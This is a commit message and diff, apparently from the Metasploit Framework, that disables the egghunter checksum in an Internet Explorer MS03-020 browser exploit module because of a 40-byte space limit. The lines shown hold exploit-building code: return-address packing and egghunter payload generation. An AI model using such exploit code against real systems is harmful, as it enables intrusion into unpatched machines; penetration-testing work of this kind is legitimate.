checksum support for egghunter disabled, because not enough room for it. See r4552.

git-svn-id: file:///home/svn/framework3/trunk@12656 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/browser/ms03_020_ie_objecttype.rb

@@ -96,7 +96,10 @@ class Metasploit3 < Msf::Exploit::Remote
 		# Pack the values
 		ret    = [ ret   ].pack('V')
 		clean  = [ clean ].pack('V')
-		hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => true })
+
+		#checksum is disabled because it is 54 bytes big, and we have only 40 bytes of room
+		#to fit the egghunter.
+		hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => false })
 		egg    = hunter[1]
 
 		# Now, build out the HTTP response payload